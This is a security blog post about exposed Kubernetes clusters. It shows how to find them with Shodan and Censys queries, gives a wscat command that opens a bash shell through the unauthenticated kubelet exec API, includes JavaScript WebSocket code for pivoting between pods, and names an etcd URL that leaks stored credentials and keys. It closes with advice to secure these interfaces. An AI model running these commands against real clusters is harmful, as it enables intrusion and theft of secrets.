Kubernetes or KuberPwn
Ever since that news story about Telsa’s cloud infrastructure being compromised and a bitcoin miner loaded on their Kubernetes estate. Netscylla was intrigued on how easy this could happen to any of our customers cloud estates. So we decided to do some OSINT (Open Source reconnaissance) and our own research.
Bug Hunting for Kubernetes We can utilise Shodan and Censys to discover how many Kubernetes platforms are connected to the public Internet. After an initial 15,000+ results from our queries in January, after the news of the compromise we have seen these numbers drop to 12,597; So it looks like developer/administrators are now applying security controls to their accounts.
Locating Vulnerable Management Interfaces Finding open management interfaces is as easy as querying Shodan/Censys for:
- KubernetesDashboard
- Kubernetes-master
- Kubernetes
- Kube
The Common Vulnerabilities
Unsecured Dashboards
- Port 10250/TCP Open
- Port 2379/TCP Open
- Unsecured dashboards Are the graphical management interfaces which are the easiest to compromise, just click around the interface looking for storage links; You may be lucky enough to spot some credentials for an S3 bucket?
10250/TCP Management Port
The HTTPS service on 10250/TCP is the default management API interface for Kubernetes clusters. Not secured by default! This means that the developer/administrator is responsible for securing their services.
By abusing the API we can achieve low level command execution as noted previously by Alexander Urcioli and this stack overflow thread: https://stackoverflow.com/questions/44394839/kubernetes-exec-throw-the-websocket-api
In order to follow Alexander’s workflow you need to install wscat, for those not familiar with node the instructions are below:
apt-get update
apt-get install -y npm
ln -s /usr/bin/nodejs /usr/bin/node
npm install -g n n stable
npm install -g wscat
Then your free to execute a command structured as:
wscat -c "ws://<Kubernetes IP>:<API PORT>/api/v1/namespaces/ \ default/pods/<POD NAME>/exec?container=<DOCKER_NAME>&stdin=1& \
stdout=1&stderr=1&tty=1&command=<PAYLOAD_HERE>"
Example executed within AWS VPC:
wscat -c "ws://172.21.1.11:8080/api/v1/namespaces/default/pods/my-nginx-3855515330-l1uqk/exec?container=my-nginx&stdin=1&stdout=1&stderr=1&tty=1&command=%2Fbin%2Fbash"
And if you have already compromised a pod (by some other means), to attack another pod, you could simply use JavaScript:
<script type=”text/javascript”>
angular.module(‘exampleApp’, [‘kubernetesUI’])
.config(function(kubernetesContainerSocketProvider) {
kubernetesContainerSocketProvider.WebSocketFactory =
“CustomWebSockets”; }) .run(function($rootScope)
{
$rootScope.baseUrl = “ws://<KUBERNETES IP>:<PORT>”;
$rootScope.selfLink = “/api/v1/namespaces/default/pods/<POD_NAME>”;
$rootScope.containerName = “<DOCKER_NAME>”;
$rootScope.accessToken = “”;
$rootScope.preventSocket = true;
})
/* Our custom WebSocket factory adapts the url */
.factory(“CustomWebSockets”, function($rootScope)
{
return function CustomWebSocket(url, protocols)
{
url = $rootScope.baseUrl + url;
if ($rootScope.accessToken) url += “&access_token=” + $rootScope.accessToken;
return new WebSocket(url, protocols);
};
});
</script>
2379/TCP Etcd Port
The HTTP service on 2379/TCP is the default etcd service for your Kubernets instance. The API interface is accessible and not secured by default!
- http://
:2379/v2/keys/?recursive=true It’ll leak internal passwords, AWS keys, certificates, private keys, encryption keys and more…
Conclusion
So don’t forget to read https://kubernetes.io/docs/admin/authentication and ensure that your management interfaces are not open to the would and would-be bitcoin miners looking for easy profit.
Share on: